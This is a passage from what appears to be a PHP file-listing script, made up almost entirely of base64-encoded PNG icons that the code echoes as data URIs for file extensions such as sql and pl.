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"; } elseif ($ext == "sql") { echo "data:image/png;base64,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"; } elseif ($ext == "pl") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAgAAAAIACAYAAAD0eNT6AAAABHNCSVQICAgIfAhkiAAAMs9JREFUeNrt3QmQXHd94PGtWiol6zBnEmpNUoFkCckCobJmTZGEhUAgmCUQwpqQwGZDtmBZkt3NAdjGBhMIh7mPmCPcC5YtSz5kyZ6RJVvHzOiWZnTNfY+kGWk09339972WrUiyjjn6eN3v81zfssuyrZkeV/8+/fr/7/+/CSH8G+Wu/9RZdf1Np2qq/7qvbuD2weapr4x0zv10oieUzw6E7WH4grZFfXP0ePjg6drwjhPV4Xfbd4d/37Q9PLP2sXDNsXIVU0ejDkY/twOSrlp1VM2m2eWHNk0uP7Kpf8Wx8v0r6spfaobkNg9CDnpZW8Xb39VT03TncPvs5rnBpw36i7t/+kxm6L+oaZvBWUod3uSJXVpKEQpWHC0/GmHgBrMFABLd75/Yc9fnoqH/+NzQVYd+3APR4H9j176w4tgmw7JUq/YkLmUJAzMrasvvNGsAIFH97vFdt31ysHVm2zyG/lPd1t8cfr5+iwFZ6h0p98QtZbHlhzZNr6gr/xuzBwAK2htO7nnjR/obJ+b7ij9zu3/qTPi99t0GY5qq8VaAlHUIHN40FkHgRrMIAPLeO04dXP3QdN+8B3/c6snT4ZcanjAQ07gg0BO2lP0OPhZW1JY/YCYBQF668dS+f/uhvtqTW8PQgob/3ZOnwgsM//R2yF0AKWd3A45s6l1RX/4MMwoActYfnd7/ii+NdswsZPA/NfyvM/xlW6CU2x0DdeWvMasAIOv9ce+Bt6yZOh0WOvwfnunzyl+2BUr5ekugrvwvzCwAyFpvO73/hrunTs0tdPjHvaFzr8Gn87YFQoCU6w8VihDwJrMLALJx2/8lP5zoXtTwv22g2cCTBYFSYRBwvRkGAIvuLaf3/bvvTByfWczwv2+qNzynbrOBJ9sCpcIgYG5FffmLzDIAWFSfH20bXczwj3ttxx6DTs4JkAr7oUEzZhkALLi/7Du8brHD/ycTPWG5QScLAqWCt+JY+U4zDQAW8r7/yx6cORMWC4C3Hj9gwMk5AVJydga82mwDgHn16ZHWgcUO/3VTvWFVrcN95JwAKUFvBUyabQBw1d7Td+ifFzv8497TfdhgkwWBUtLeCqgtf9CMA4Ar9vXxzsmlAOCFjdsMNdkWKCXwkwLNOAC40qf9/dG2JQz/+LAfQ03OCZASehegrvx9Zh0AXLIPDzW0LuXV/z/0NRpmck6AlNxDg/rNOgC41Cl/P7duujcsBQC/72N/ZVuglOwdAfXly8w8ALhw8d+Zmq8vZfjHPdcn/8k5AVLSFwOuM/MA4II+NFC7